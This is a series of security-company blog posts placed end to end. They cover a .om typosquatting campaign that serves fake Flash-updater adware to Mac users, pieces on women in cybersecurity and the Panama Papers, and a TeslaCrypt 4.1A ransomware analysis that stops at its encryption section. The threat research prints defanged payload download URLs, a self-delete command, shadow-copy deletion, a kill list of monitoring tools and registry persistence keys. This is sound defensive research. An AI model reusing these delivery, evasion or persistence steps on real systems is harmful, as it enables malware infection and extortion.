House of Cards Season 4 debuted on Netflix this past weekend, much to the joy of millions of fans, including many Endgamers.  One particular Endgamer made an innocent, but potentially damaging mistake.  He mistyped the domain “www.netflix.com” as “netflix.om” in his browser, accidentally dropping the “c” in “.com”.  He did not get a DNS resolution error, which would have indicated the domain he typed doesn’t exist.  Instead, due to the registration of “netflix.om” by a malicious actor, the domain resolved successfully.  His browser was immediately redirected several times, and eventually landed on a “Flash Updater” page with all the usual annoying (and to an untrained user, terrifying) scareware pop-ups. Luckily, the Endgamer recognized danger and retreated swiftly, avoiding harm.

Screen Shot 2016-03-11 at 9.47.48 AM.png

This led to many questions about this particular flavor of typosquatting effort.  Was this an isolated case or was it only a sample of a more prevalent and dangerous campaign?  Not only is it a potentially common error on an extremely popular site, but our hypothesis was that it is unlikely limited to only Netflix. Our Malware Research and Threat Intelligence team dug deeper.  We wanted to find out how many other huge Internet properties are actively being targeted with .om typosquatting as well as how many .om sites corresponding to popular properties are unregistered and thus vulnerable.  Finally, we wanted to know how easy is it to get a .om domain.  We were aware of abuse of other country code Top Level Domains (ccTLDs) including .co and .cm, but weren’t aware of .om abuse.

Our research revealed that there is at least one major .om typosquatting campaign targeting many of the world’s largest organizations.  It has already targeted over 300 well-known organizations, including Netflix, and given the spike in activity in February, is likely to only attempt to expand its reach in March. While the typosquatting campaign currently is a relatively unsophisticated effort, this kind of opportunistic behavior is typical of typosquatting and watering hole campaigns.  Our research also indicates that .om domains associated with the vast majority of major brands may be unregistered.  It does not appear that companies are widely including the .om in their typosquatting mitigation strategies.  We strongly recommend doing so.

What is typosquatting and why is it dangerous?

Typosquatting is a well-known security problem.  In a typosquatting campaign, a malicious actor will target one or more well-known websites or brands and register domains very similar to the legitimate domain.  Techniques often include doubling characters (“googgle.com”), adjacent keys (“googlw.com”), and letter swapping (“googel.com”).  Typosquatting easily solves one of the biggest hurdles for these bad actors: delivery of the malicious content.  In typosquatting, users just show up.

If the bad actor does his job well, a significant number of users mistype the intended domain in the expected way, and those unfortunate enough to hit “Enter” will unintentionally head down a dark road on the web.  In some cases, effects can be relatively mild, such as: the user is redirected to objectionable material; the user is presented items for purchase from storefronts of questionable repute; or the user sees content that unfavorably portrays the intended brand or site. Effects can also be much worse.  The malicious actor can spoof a real site to harvest login credentials, place backdoors on a system, install ransomware, or really anything else of his choosing.

Typosquatting and TLDs

Our discovery of the malicious netflix.om led us to focus our research on typosquatting via registrations of domains using alternate TLDs.  As of March 9, there are 1247 TLDs on the Internet according to the Internet Corporation for Assigned Names and Numbers (ICANN), the non-profit organization responsible for handling the overall Internet namespace.  This includes commonly seen TLDs like .com, .org, and .gov that are familiar to most Internet users. There are 251 ccTLDs representing nearly every country on Earth (many countries may have more than one ccTLD).  Beyond this, since 2013, ICANN began approving hundreds of new TLDs such as .guru, .tech, .florist, and many more.  This is a huge set of alternate TLDs which could be abused.

The most interesting set of TLDs for typosquatters are those that are likely to be mistyped.  We have seen some research on typosquatting of .co and .cm, the ccTLDs for Colombia and Cameroon, respectively.  Similarly, as we discovered with the Netflix example, the ccTLD assigned to the country of Oman, .om, is a prime candidate.  Simply drop the “c” in “.com” and you’re there.  An alternative method we also considered is flipping the “c” and the “.”. For example, “google.com” becomes “googlec.om”.  

How many .om’s are registered and possibly malicious?

We began our research of .om abuse by attempting to determine how many .om domains are associated with popular sites, who is registering these domains, and what is hosted at those sites.  To do this, we went through the 5,000 most popular domains globally and attempted to resolve whether the brand had an associated <brand>.om or <brand>c.om.  We discovered 334 domains that meet this criteria and are currently pointing to active sites.  There may be others that are registered, but are currently down or are in the process of being purchased. We contacted the most heavily clustered ISPs and shared information pertaining to the malicious domains before publishing.

Our next step was looking at registration information via WHOIS services.  We wanted to know if there were blocks of domains with the same registration information and timing of registration, and whether any appeared to have contact information associated with the legitimate property. During our research, we discovered that only fifteen of the .om domains were managed by the rightful owner or a brand protection organization. The entire list of these 15 domains can be found at the end of this post. ccTLDs can be challenging to analyze because WHOIS service can be quite restrictive in access to the registrant data. Malicious actors are aware of these limitations and therefore often use such ccTLDs to hinder attribution.  The .om ccTLD allowed for some data access. Interestingly, we were able to identify several actors who registered the majority of these domains in clusters as listed in the table below (295 out of the total 334). The entire list of suspicious domains can be found here.

registrant table.png

It is worth noting that we have no reason to believe that these identities are associated with the malicious campaign.  Registrant names can be easily spoofed, can be an alias, or could be filled in as an artifact of the registration process; for example, an identity associated with domain approval.  Attempting any attribution of this typosquatting campaign is beyond the scope of this research.

We then sought to understand whether there were any interesting patterns in registrations.  Given the clustering in registrants, we expected to see those identities clustering in terms of time of registration.  This could imply a fully scoped malicious campaign wherein the malicious infrastructure was staged at a give time.  As the following graph demonstrates, we saw spikes.  The Feb 2016 spike, for example, is due in part to a large number of Ahmed Al Amri registrations on February 25th.  It is possible that this could be a result of a batch of domains being approved at that time (see the section on registering a domain for information on a waiting period).

registrants per month.png

We next determined where .om domains are being hosted.  As with registration information, we noted clustering here as well.  The 334 .om sites related to well-known Internet properties are hosted on 15 different hosting providers.  As a sampling, 111 of the domains (including netflix.om) are pointing at IPs associated with Tiggee LLC, a US-based hosting provider. Casablanca, a Czech hosting provider, and Choopa LLC, a hosting provider in New Jersey, account for other large chunks. Unsurprisingly, many point to the same IP address within a given provider.  For example, the 111 domains on Tiggee point to only four IP addresses hosted at that provider and from there, a series of redirections take place.  On top of the previous evidence, this tight clustering in where the domains are hosted gives us very clear evidence of typosquatted .om domains being grouped.  

We wanted to see what software stack is running on the servers hosting .om sites.   We used Shodan to do this.  Due to our focus on netflix.om, we looked most closely at the servers on Tiggee.  Very unsurprisingly, the software stack on these servers was uniform.  Many of the machines serving up these domains have severe unpatched vulnerabilities, including some which could provide arbitrary remote access. That is, these hosts could easily be exploited by other actors to serve up alternate (possibly worse) malicious content than what’s currently being served.

Having convinced ourselves that there is at least one typosquatting campaign underway, we wanted to identify how much traffic the malicious sites receive.  In other words, how common is the targeted typo?  To answer this question, we looked at our sources of passive DNS data.  Passive DNS provides an analyst with information about DNS activity.  We see that the actors behind this typosquatting attack have been quite successful. There are at least thousands of queries per day to the malicious .om domains from different recursive DNS resolvers across the world.  This is the lower bound on the amount of activity, given caching and the limited scope of passive DNS sensors we have access to.  The footprint is global, as displayed in the diagram below.  

map.png

It is worth restating a point from above.  The vast majority of .om domains associated with brands in the top 5,000 do not currently resolve to active sites.  We don’t have access to the .om zone file to know for sure whether this means they aren’t registered, but we’d assume that a significant chunk probably are not registered.  Most active .om sites associated with popular brands appear to be part of malicious campaigns.  It’s concerning to us that typosquatters could scoop up many more popular domain names in the .om ccTLD, exponentially increasing the impact.

In our experience, typosquatting for the purpose of content delivery is mostly the realm of cyber criminals and questionable ad networks.  APTs have been seen copying domains for visual similarity to hide C2 and exfil, for example, the we11point.com domain being used as infrastructure in the Anthem attack.  We could see typosquatting being increasingly used in a similar fashion as targeting watering holes by determined adversaries to gain access.  The 2013 attack on a popular iOS developer site that led to the compromise of Facebook, Apple, and many others is a good example of the potential implications of watering holes. It could be possible for a ‘.om’ domain being bought and used to catch a small number of mistakes over time from targeted organizations, enabling an actor to drop backdoors into a targeted network.  

What happens when a user visits one of these sites?

Having understood the scope of this problem, we wanted to understand what takes place when a user visits one of these malicious .om sites.  We also wanted to look at the content being served across the the different domains in an attempt to solidify our understanding of how activity is grouped within campaigns.

As was the case with the original netflix.om domain we initially encountered, a majority of the other typosquatted domains appeared to exhibit the telltale signs and behavior of adware redirection sites. Accessing one of these sites tends to lead the user’s browser to a few different web pages in a very short period of time, with the ultimate destination having content that may not even be relevant to the URI accessed in the first place. The redirections are in place for a few different reasons:

1. The original URI can be made to appear somewhat legitimate, obscuring the path users will be forced to go down upon access.
2. The malicious actors can redirect the users to targeted platform-specific and / or location-specific content that may entice a naïve user to continue their journey further down the rabbit hole.
3. The actors can change the destination web pages in an instant by modifying one or more of the redirect pages, thus allowing for easy pivoting to new pages or servers much like an incredibly frustrating game of Whack-A-Mole.
4. Tracking cookies can be generated along the way to the ultimate destination and placed within the user’s browser cache to surreptitiously monitor their behavior and provide further means for the actors to monetize a user’s unfortunate trip to their site.

Regardless of the relevance of the content, the destination web page will almost assuredly be riddled with advertisements, surveys to complete for free electronics, or scareware tactics to entice users to download and execute an anti-virus suite that leads to further headaches and intrusive advertising. The goal of these pages is simply to generate as much advertising revenue as possible for the bad actors while trying to keep naïve users engaged and / or scared in order to keep them clicking more links and prolonging their sessions.

We quickly discovered that there was a limited set of redirection techniques and adware content that were consistently served up by the malicious .om domains. Due to the similarities involved (if not exact matches) in the HTML and JavaScript that was collected, we were able to divide the domains into distinct categories according to the different hosting providers.  The content served at domains hosted at the same provider usually stayed within a small set (one or two) of redirection techniques or adware content. The maximum number of redirection techniques we saw on any host was five.  

After completing the scraping and tallying up the various techniques and adware content, there was one grouping of data in particular that stuck out. The .om domains hosted at Tiggee and Casablanca served up the same or similar content in several instances, which provides evidence that one actor is likely operating on those two providers.  

The following demonstrates some of the redirects on a couple of the .om sites.  

I2PJ7hjPBC.gif

Targeting of Mac users with malware

The redirect / adware pages hosted at the typosquatted domains were very annoying and possibly alarming to users, but we did not note any malware being dropped or any prompts to install malware, in contrast to the Endgamer’s experience over the weekend.  We theorized that sites may be performing operating system and/or user agent detection.  Based off of the user’s configuration,  the sites would serve advertisements or adware catered to his or her platform.  This is a common tactic for malicious actors.

We switched from using a Windows virtual machine with varying browser configurations and instead moved to using a OS X virtual machine with Firefox.  Upon doing this, we were able to reach the same page seen by the Endgamer earlier in the week, capture malware, and perform our analysis.

underwood3.png

When clicked, the “Download” and “Install” buttons call a JavaScript function to initiate the download and produce a popup within the browser: 

javascript:downloadEXEWithName('
 hxxp://ttb.newmysoftb[.]com/
 download/request/561257515f1c1ec447000000/
 LVw2a59i',%20'LVw2a59i',%20'FlashPlayer.exe')

underwood4.png

Despite the name, the downloadEXEWithName function does not result in a Windows executable being downloaded. The function builds a unique URI for downloading the adware:

hxxp://ttb.newmysoftb[.]com/download/
request/561257515f1c1ec447000000/
LVw2a59i?__tc=1457627771.679&lpsl=a8604c33f478be1581e95cfe73ed6147&expire=1457713110&slp=www.getfiledow.com&source=netflix.om&c=0.0069&fileName=FlashPlayer

When this second URI is accessed, it will initiate another redirect to a OS X DMG file hosted at an Amazon AWS S3 bucket:

hxxps://s3.amazonaws[.]com/hm-ftp/prod/
1000012/80801124/162/installer/
default/AdobeFlashPlayer.dmg
?postbackURL=http://platform1.admobe.com/p/ic.php&postbackData=s|YXAZoZX...

The download was then determined to be Adware Genieo, a common OS X malware / adware variant. Genieo typically infiltrates the user’s system by posing as an Adobe Flash update and drops a OS X DMG container, as was the case in our experience. Genieo then entrenches itself on the host by installing itself as an extension on various supported browsers (Chrome, Firefox, Safari).

The variant in this case appears to function similarly to standard Genieo variants in that it installs browser hijacking extensions in Chrome, Firefox, and Safari:

underwoodgen.png

The Firefox extension will attempt to alter the browser homepage to hxxp://www.hmining[.]mobi/homepage, while the Safari extension contains hardcoded references to the S3 bucket from which the original DMG was downloaded: hxxp://s3.amazonaws[.]com/hm-ftp/prod/%@/offers/%04d/%@. As is typical with Genieo variants and other browser hijacking adware, the extensions contain extensive capabilities for modifying the configuration of each of the respective browsers in order to provide targeted advertising and generate ad revenue for the adware developers and distributors, much to chagrin of their unfortunate victims.

Because it’s a fairly well researched piece of malware, we will not go further in-depth here.  For more information on Genieo, please see: http://www.thesafemac.com/genieo-adware-downloaded-through-fake-flash-updates .

Buying a .om domain

As detailed above, the majority of .om domains for top Internet sites are probably unregistered, and only a small number appear to be controlled by the legitimate brand.  In investigating the .om ccTLD, we found conflicting information about authorized usage of the .om ccTLD.  Some sources indicate that this ccTLD is used by “Omani Government and official parties,” while other sources indicate that .om is open for all to register and has no auxiliary requirements.  Obviously some very questionable .om domains are in the wild.  We decided to register a domain and see what would happen.

We identified several websites that claimed to sell .om domains.  We chose one, which offered a domain for $269 per year.  We registered with obviously bogus information (similar to “John Smith”, “123 1^st St”, “(111)-111-1111”) and made the purchase.  The only identity verification requirement was clicking a verification link sent to a legitimate email address, which had no relation to the domain being acquired.  We were informed that we now owned the domain, but were subject to a two month waiting period.  It was not specified what would occur during this two month period.  But wait!  The website went on to offer what seemed to be an expedited process for an additional $335.  The same company even offered to assist with establishing a “new official business” in Oman.

buying om domain.png

We chose to initially register without any add-ons and reach out later to request the expedited process.  Within an hour of requesting expedited service, a representative from the registrar contacted us.  At this point, the representative asked us for proof that we were associated with the brand in question.  He was extremely helpful and willing to support us, but with our information being so obviously bogus, we hit a snag.  It did appear that there was some concern towards proving that we’re real, at least in this case.  As a test, we registered a second .om domain with legitimate looking contact details and asked to expedite it at the time of initial purchase.  As of this writing, we have not received any inquiries but the second expedited purchase remains in process.  We don’t know why we haven’t received the same questions about documentation but assume that it’s because on the surface the information looks much more legitimate.

This leaves some open questions.  We did experience a verification step in the expedited process.  We do not know whether the same verification would have been requested during the two month waiting period had we not expedited.  As we detailed, hundreds of malicious domains clearly not associated with the targeted brand have recently been registered.  It is highly unlikely that purchasers had proof of ownership.  Bottom line, we do not know how all of these domains were approved for registration, but .om is clearly not just for official Omani government use. In fact, as we demonstrated, for a reasonable price you too can own a .om domain.

Conclusion

Based on our research, this has much broader implications and relevance for a variety of organizations, not just Netflix.  It may not be well known that .om domains are available for purchase.  The vast majority of .om registered domains are malicious, according to our research, and they are receiving a non-trivial amount of traffic.  Equally concerning, many popular sites remain unregistered and therefore vulnerable.

Most large companies already have a typosquatting mitigation strategy.  Companies identify domains, register, and control likely domains their customers may accidentally enter.  It’s relatively easy to identify and purchase candidate domains using tools such as  Domain Tools’ Domain Typo Finder.  We recommend that companies prioritize adding .om registration to protect their reputation, and block known-malicious .om domains to protect their enterprise.  

The effects in this case were relatively mild, with the installation of common adware the worst case scenario for an unfortunate user.  But, that does not mean this attack vector should be taken lightly.  The malicious actors could have just as easily taken more malicious actions such as installing ransomware, unwittingly including victims in a botnet, or hosting additional malware on victims.  Furthermore, typosquatting techniques could be used by more persistent and patient adversaries to gain remote access to targeted victims.  

Companies - especially high profile companies - should expand their typosquatting mitigation strategies to additionally focus on TLDs if they aren’t already. As we have seen, the .om typosquatting impacts many high profile companies whose customers are now vulnerable to the same deception that our colleague discovered when attempting to binge watch this season’s House of Cards.

Update 3/16/16: Since the initial publication, a large percentage of the .om websites have been updated to serve only ad content instead of serving adware/malware links to Mac users. The campaign remains concerning, as the identified sites remain active and and could be switched back to serving more malicious content at any time.  The reasons for this change are unknown.

Update 3/25/16: Of the 319 malicious .om domains we originally reported on 11 March, 292 have been deleted or had their DNS records removed. Updates to the "whois" server indicate that the domain status was revoked by the registrar due to "Violating the terms of registration as per the registry-registrar agreement". The original, complete list of domains that appeared suspect can be found here. The updated list of domains that still remain active since publishing our research can be found here.

List of 15 .om domains that appear legitimate

nextdirect.om

hotwire.om

vmall.om

tripadvisor.om

hyatt.om

entrepreneur.om

bbc.om

icloud.om

marriott.om

twitter.om

lego.om

panasonic.om

tv.om

papajohns.om

pizzahut.om

From academia to government to now industry, I’ve never worked in a field with more than 20 percent women, and that is being very generous. That is why it felt extremely strange to sit in a large room with over 700 women working in or studying cybersecurity a few days ago at the Women in Cybersecurity Conference. With so many competent and impressive technical women across the room, the myth of the unicorn was quickly dispelled. You just need to know where to look.

Sure, we had the obligatory discussion of the low and possibly further regressing level of female participation in cybersecurity (seriously, it went from 10 percent last year to 8 percent this year, according to several speakers). But the best part of the conference was that the theme mirrored what I felt initially: that though the numbers of women are small, we are doing some remarkable things, and this is an exciting time to be in the field. This positivity is what we need more of in media, pop culture, and academic portrayals of cybersecurity. It could go a long way toward dispelling the erroneous negative perception of the field (that it’s innately militaristic, and best suited to loner male socially disconnected types) that continues to serve as a barrier to entry — as well as retention.

With that in mind, I’ve pulled together key themes from this year’s Women in Cybersecurity Annual Conference. I hope they’ll serve as reminders as to why we stay in the field, and that they could encourage others to pursue cybersecurity careers.

The Diversity Within: It’s not just about gender or race. — The conference was a great reminder that when we talk about diversifying the cybersecurity industry, we’re talking about much more than demographic differences. Within the predominantly female group at the conference, there was a phenomenal depth of professional backgrounds (industry, academia and government), generations (students of all levels, mid-career, and seasoned professionals) and disciplines (anything from computer science to theoretical mathematics to anthropology). Keynote presenters included a cryptographer, business professionals, and an incident responder. None of them were dark, shady characters in hoodies, but super-smart and enthusiastic women changing the industry.

Communication is key — and it’s not just about code. — The ability to write and communicate clearly surpassed any programming languages as the top recommended traits for success in cybersecurity. From proposal writing to meeting with a board to working on a team, the ability to communicate technical aspects to non-technical audiences is essential now, and will only become more important as the field expands. Experts also pointed to a solid foundation in math as a bridge-builder skill — meaning that it could enable a variety of career paths within cybersecurity.

The mission is powerful, and unique. — Both national security and the social aspects of cybersecurity were frequently noted as key drivers and motivators that keep women in the field. This resonated for those working in industry, academia and government, and was complemented with the challenging nature of the work. Want to find a good challenge and have a big impact, cybersecurity is the way to go.

No ‘manels’ in sight. — It is possible to have panels full of women talk about and inspire through their technical acumen and not their gender. Despite complaints by numerous conference organizers that they can’t find women to populate panels, these women exist — and this conference was proof of that. Here’s to hoping that panels full of men — a statistically unlikely occurrence absent conscious or unconscious bias — will someday be a distant and funny memory, like the #bindersfullofwomen meme.

That said…we still need men to hear and deliver these messages. — As almost every personal story noted, male allies are a crucial component to moving beyond single digit female representation in the industry. Fathers, colleagues, mentors, and friends all play an essential role and must be active participants in encouraging women to pursue or stay in the industry.

After explaining complex aspects of encryption, Yael Kalai of Microsoft conveyed another empowering message. We women are in a position ofpower. The industry needs us, and not the other way around. In other words, women are not token diversity hires, but are essential for organizations to achieve greater creativity and innovation, and an enhancedbottom line. That means if your company isn’t supporting you, move on. The demand is high, the supply is low — the math is on our side.

Andrea Limbago is the principal social scientist at Endgame.

This post was originally published by New America as part of Humans of Cybersecurity, a dedicated section on Context that celebrates stories of the people and ideas that are are changing our digital lives. It is part of New America’s Women in Cybersecurity Project, which seeks to dramatically increase the representation of women in the cybersecurity/information security field by fostering strategic partnerships with industry leaders, producing cutting-edge workforce research, and championing women’s voices in media. This is a project of New America’s broader Cybersecurity Initiative, which aims to clarify and connect the often disjointed debates and policies that surround the security of our networks.

Over five years ago, the Arab Spring demonstrated the power of the digital domain in facilitating political and social change. The role of social media – still relatively nascent globally at that point – dominated the headlines and analyses as the core vehicle for shaping political debates and serving as an organizational mechanism. However, it wasn’t social media itself, but arguably the WikiLeaks revelations that provided the initial trigger. The WikiLeaks release of 1.7 GB of data was among the first manifestations of how a data leak can fuel the fire of social change (for better or worse). Last week’s Panama Papers provided yet another reminder of how the digital domain can foment social and political change. At 260 GB of data, the Panama Papers not only are the world’s largest data leak, but they also reflect the growing intersection of data breaches and social change. Data breaches and leaks have directly and indirectly resulted in the resignation of a world leader (e.g. Iceland Prime Minister Sigmundur Davio Gunnlaugsson), toppled CEOs (e.g., Target), and may potentially contribute to the demise of sports royalty (e.g, Lionel Messi, FIFA President Gianni Infantino). With no clear end in sight to the data revelations, world leaders’ responses are largely differentiated based on regime-type, with the domestic situation driving damage control. With 140 political leaders and over fifty companies referenced in the Panama Papers, this certainly is just the beginning. These initial responses are likely a harbinger of what to expect over the next year as both corporate executives and political leaders prepare their incident response to the leaks.

The Panama Papers are indicative of the growing ease with which vast amounts of digital data can be exfiltrated. In fact, it is plausible that the size of data breaches can be grouped with other social events that follow a power law distribution, such as the magnitude of interstate conflict or terrorist events, as well as the distribution of income or connectivity on the Internet. In each case, the impact of this socio-technical interplay is strongly influenced by the regime type, ranging from authoritarian on one side to solidified democracy on the other, with a wide spectrum in between. The ongoing data breaches and leaks similarly do not exist in a vacuum, which is why we are already witnessing wide scale and differentiated responses to the Panama Papers. For instance, the Chinese government has turned to its go-to and proven approach of Internet censorship to block any reference to the numerous family members of elite officials who are referenced in the Panama Papers. Conversely, Russia’s Vladimir Putin – whose inner circle is implicated in the Panama Papers – predictably calls the revelations nothing more than Western propaganda, and fits into his narrative that“Russia is in a state of information warfare with the West.”  

Many former Eastern bloc states are also implicated, but there likely will be vast differences in how well they fare in light of the data leaks. Countries with weak opposition and/or embedded propaganda machines, such as Azerbaijan, will navigate the data revelation storm better than countries already in the midst of a corruption scandal, like Kazakhstan. Ukraine fits into this latter category, as the country’s Prime Minister just resigned amid an extant corruption crisis, which includes the President who is under tighter scrutiny thanks to the Panama Papers. Brazil similarly was already in the middle of a political corruption scandal when the Panama Papers implicated a broad spectrum of Brazil’s political elite. Interestingly, Dilma Rousseff may actually benefit from the leaks, as her main opponent faces much harsher allegations stemming from the Panama Papers than does Rousseff herself. United Kingdom’s David Cameron – already dealing with a chaotic climate instigated by a potential exit from the European Union – is now on the offensive to counter allegations of corruption associated with his father within the Panama Papers. He released his tax returns less than a week after the Panama Papers were revealed, and since then other members of the British political elite have likewise released their tax records.

So what does all of this mean? It’s well past time to consider and prepare for the diverse means that the digital domain can now greatly influence anything from nation-state stability to executive leadership of corporations. Social media is certainly one aspect, but with the growing data breaches and leaks, there will be increasingly reputational impact that can have profound repercussions across the globe. In some cases, this could actually lead to greater transparency and calls for reforms. Conversely, this could prove to be a major challenge for capitalism,  especially in democracies that are already experiencing populist movements. Regardless, as long as data growth continues to exceed Moore’s Law, the size of data leaks and breaches is likely to continue to grow, with social, political and economic repercussions across the globe.

When talking with women about the cybersecurity industry, we always ask, “What do you think of when you hear the term hacker?” The response invariably describes a young, shady, socially-challenged guy working on his own in the dark. This is one of the many reasons why we also invariably have women come up to us after the discussion and say, “I had never even considered tech as a career option.”  This is one of the hurdles the industry must overcome in order to pull from a much more diverse talent pool and change the momentum of the regressive statistics on women in cybersecurity (where women account for anywhere from 8-11% of the workforce depending on the source). To reverse this downward momentum, security’s narrative must change – not just because it’s the right thing to do, but also to address security’s hot talent pipeline (in a tight talent market, we must be able to “fish in the whole sea” of potential candidates), and because diversity of all kinds is what drives innovation. 

Changing the narrative, a little bit at a time, was our goal today as we had the great privilege to welcome 65 sophomore girls from New York City’s Brearley School to our Arlington office to talk about the breadth of opportunities available to them in security.

After we provided an overview of our backgrounds, the industry, policy challenges, and building a culture to attract and retain a phenomenal and diverse workforce, it was time for Q&A. The students did not disappoint, asking insightful questions about the balance between security and privacy, how to transition from idea to product, and for tips on how they can protect themselves on-line. Just as importantly, they did not ask about the challenges of women in tech. This is meaningful. When girls start thinking about security both as something that impacts their daily life and as a field filled with opportunities and endless puzzles that require input from a range of disciplines and perspectives to solve, then we know the momentum will shift. Our hope is that we at least planted a few seeds about security as a field where women belong and can make a huge difference, helping change that narrative a little bit at a time.

Introduction

Ransomware quickly gained national headlines in February after the Hollywood Presbyterian Medical Center in Los Angeles paid $17,000 in bitcoins to regain access to its systems.  Since then, other hospitals have similarly been attacked with ransomware, leading some industry experts to proclaim it an industry-specific crisis. Although it is commonly associated with directed campaigns aimed at high-value targets such as hospitals, ransomware is actually becoming less targeted and more omnidirectional. As our latest research on TeslaCrypt demonstrates, ransomware not only is becoming more widespread, but it is also becoming more sophisticated and adaptable. TeslaCrypt 4.1A  is only a week old and contains an even greater variety of stealth and obfuscation techniques than its previous variants, the earliest of which is just over a year old. Organizations and individuals alike must be aware ransomware is equally likely to be found in personal networks as in critical infrastructure networks, and that its rapid transformation and growing sophistication presents significant challenges to the security community and significant threats to users of all kinds.

BlogRansomwareHistory.png

History and Current Reality of Ransomware

Ransomware has been around for at least a decade, but its evolution and frequency have exploded over the last half year. In its early days, ransomware was relatively unsophisticated, uncommon, and more targeted. However, ransomware now largely involves code reuse, slight modifications to older families, and a variety of spam campaigns. Capabilities that once were the discrete realm of APTs are now accessible to attackers with fewer resources. TeslaCrypt 4.1A is indicative of this larger trend, integrating a variety of obfuscation techniques – such as AV evasion, anti-debugging, and stealth – into a powerful and rapidly changing piece of malware. Moreover, the incentive structure has shifted. Ransomware aimed at high-value targets depends entirely on getting one fish to bite, and so the ransom value is much higher. As the graphic below illustrates, with the proliferation of ransomware via widespread spam campaigns, attackers can demand smaller sums of money, which can still be extremely lucrative because it only requires infiltration of a small percentage of targets.

SpamTargets.png

Campaign Overview

Last week, an Endgame researcher was analyzing spam emails for indications of emergent malicious activity.  The researcher came upon an interesting set of emails, which were soon determined to be part of a widespread spam campaign. The emails all highlighted the successful delivery of a package, which can be tracked by simply clicking on a link. This is especially interesting timing.  At the peak of procrastinators filing their taxes at the last minute, those who send in their tax forms are exactly the technically less-sophisticated users these kinds of campaigns target.  

We rapidly determined that this spam campaign was attempting to broadly deliver TeslaCrypt 4.1A to individuals.  In the subsequent sections, we’ll detail the various stages of the TeslaCrypt 4.1A attack chain, moving from infiltration to detection evasion, anti-analysis and evasion features, entrenchment, and the malicious mission, concluding with some points on the user experience. This integration of various obfuscation and deception techniques is indicative of the larger trend in ransomware toward more sophisticated and multi-faceted capabilities.

BlogRansomware_logo.png

1. During infiltration, the downloader mechanism is attached as a zipped JavaScript file.
2. This JavaScript file is a downloader that uses the local environment's Windows Script Host (WSH) or wscript to download the payload. When the ZIP file is decompressed and the JavaScript file is executed, the WSH will be invoked to execute the code.
3. The downloader proceeds to download the TeslaCrypt implant via a HTTP GET request to greetingsyoungqq[.]com/80.exe. This binary will then be launched by the downloader.
4. To evade debuggers, the binary uses QueryPerformance/GetTickCount evasion technique to check the runtime performance as well as threading.
5. Next, the binary allocates heap memory to allocate a PE in memory. This PE does the following:
   
   1. It establishes an inter-process communication channel with the CoInitialize(), CoCreateInstance() APIs to communicate through DirectShow in order to establish various strings in memory.
   2. Uses QueryPerformance/GetTickCount debugging evasion technique
   3. Uses Wow64DisableWow64FsRedirection to disable file system redirection for the calling thread.
   4. Deletes Zone.Identifier ADS after successful execution
   5. Checks token membership for System Authority
6. Next, the PE drops a copy of itself to the %UserProfile%\Documents\[12 random a-z characters].exe, creates a child process, and adds SeDebugPrivilege to the newly spawned process while in a separate thread
7. Deletes parent binary using  %COMSPEC% /C DEL %S
8. Creates mutex "__wretw_w4523_345" for more threading activity and runs a shell command to delete volume shadow copies
9. It entrenches the binary into the registry via a startup run key
10. During the encrypting, it generates the public key based on the encrypted private key.
11. The implant begins encrypting all accessible files on the file system based on the file extensions in the appendix.
12. Finally, it displays the ransom note in three forms: text, image, and web page. The binary will then notify the C2 server of the presence of a new victim.

Delivery and the Downloader

In this instance, TeslaCrypt is delivered using a zipped email attachment containing a JavaScript downloader:

Email Spam Attack

spamattackemail.png

Email contents

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title>RE:</title>

</head>

<body>

<pre style="font-style: strong">

Your package has been successfully delivered. The proof of delivery (TRK:299736593) is enclosed down below.

</pre>

</body>

</html>

Screen Shot 2016-04-20 at 12.08.47 PM.png

The ZIP attachment will contain one file: transaction_wcVSdU.js. When the ZIP is decompressed and the JavaScript file is executed by the user, the Windows Script Host will launch and execute the JavaScript.  The downloader initiates a HTTP GET request to the following URI in order to download the TeslaCrypt payload (6bfa1c01c3af6206a189b975178965fe):

http://greetingsyoungqq[.]com/80.exe:

As of 4-14-2016, this URI is inactive.

If the request is successful, the binary will be written to disk in the current user's %TEMP% directory and launched by the JavaScript.

The payload (80.exe) was not being flagged by most popular AV products on the day that we detected the malware, likely due to the obfuscation employed.  A few days later, about 40% of AV vendors had updated their signatures to catch 80.exe, and a week later, a significant majority of AV vendors will flag this file as malicious.  However, this wouldn’t help users who were victimized on the first day.

TeslaCrypt 4.1A Implant Variant Details

Version information contained within its metadata helps the implant masquerade itself as an official Windows system DLL:

implant.png

Upon execution, the implant unpacks itself by allocating and writing a clean PE file to heap memory. The clean PE that is invoked contains the implant’s intended malicious functionality.

Anti-Analysis and Evasion Features

This malware exhibits some interesting anti-analysis and evasion features which speak to its sophistication level.  We will describe some of these below.

String Obfuscation

In order to evade detection and hide many of its string extractions, the binary utilizes an inter-process communications channel (COM objects). By using the CoInitialize and CoCreateInstance Windows APIs, the implant can control DirectShow via Software\Microsoft\DirectShow\PushClock using a covert channel, utilizing the quartz libraries.

com objects.png

Anti-Debugging

TeslaCrypt calls its anti-debugging function many times to thwart automated debugging or API monitoring. By using the QueryPerformance / GetTickCount evasion technique, the process stores the timer count at the beginning of an operation and then records it at the end of the operation. If the malware is being debugged, this time difference will be much more than the normal execution time expected.

AntiDebugging.png

Anti-Monitoring

This TeslaCrypt variant contains a routine designed to terminate five standard Windows administrative / process monitoring applications. The binary enumerates all active processes and utilizes GetProcessImageFileName to retrieve the executable filename for each process. A process will be terminated if its filename contains any of the following strings:

taskmgr (Task Manager)

regedi (Registry Editor)

procex (SysInternals Process Explorer)

msconfi (System Configuration)

cmd (Command Shell)

anti monitoring.png

Entrenchment

The implant drops a copy of itself to disk:

%UserProfile%\Documents\[12 random a-z characters].exe

In order to establish persistence, the implant adds a registry value that points to the dropped copy:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%s\ SYSTEM32\CMD.EXE /C START %USERPROFILE%\Documents\[12 random a-z characters].exe

entrenchment.png

The malware also sets the EnableLinkedConnections registry key:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections

By setting this key (which was also something done by previous versions of TeslaCrypt), network drives become available to both regular users and administrators.  This will allow the implant to easily access and encrypt files on connected network shares in addition to encrypting files on the local hard drive.  In a connected business environment, this could substantially increase the damage done by the tool.

Malicious Mission

TeslaCrypt relies mostly on scare tactics to corner victims into paying the ransom. In reality, it’s making false claims about its encryption usage and has recovery mechanisms that can help users recover files.

Encryption

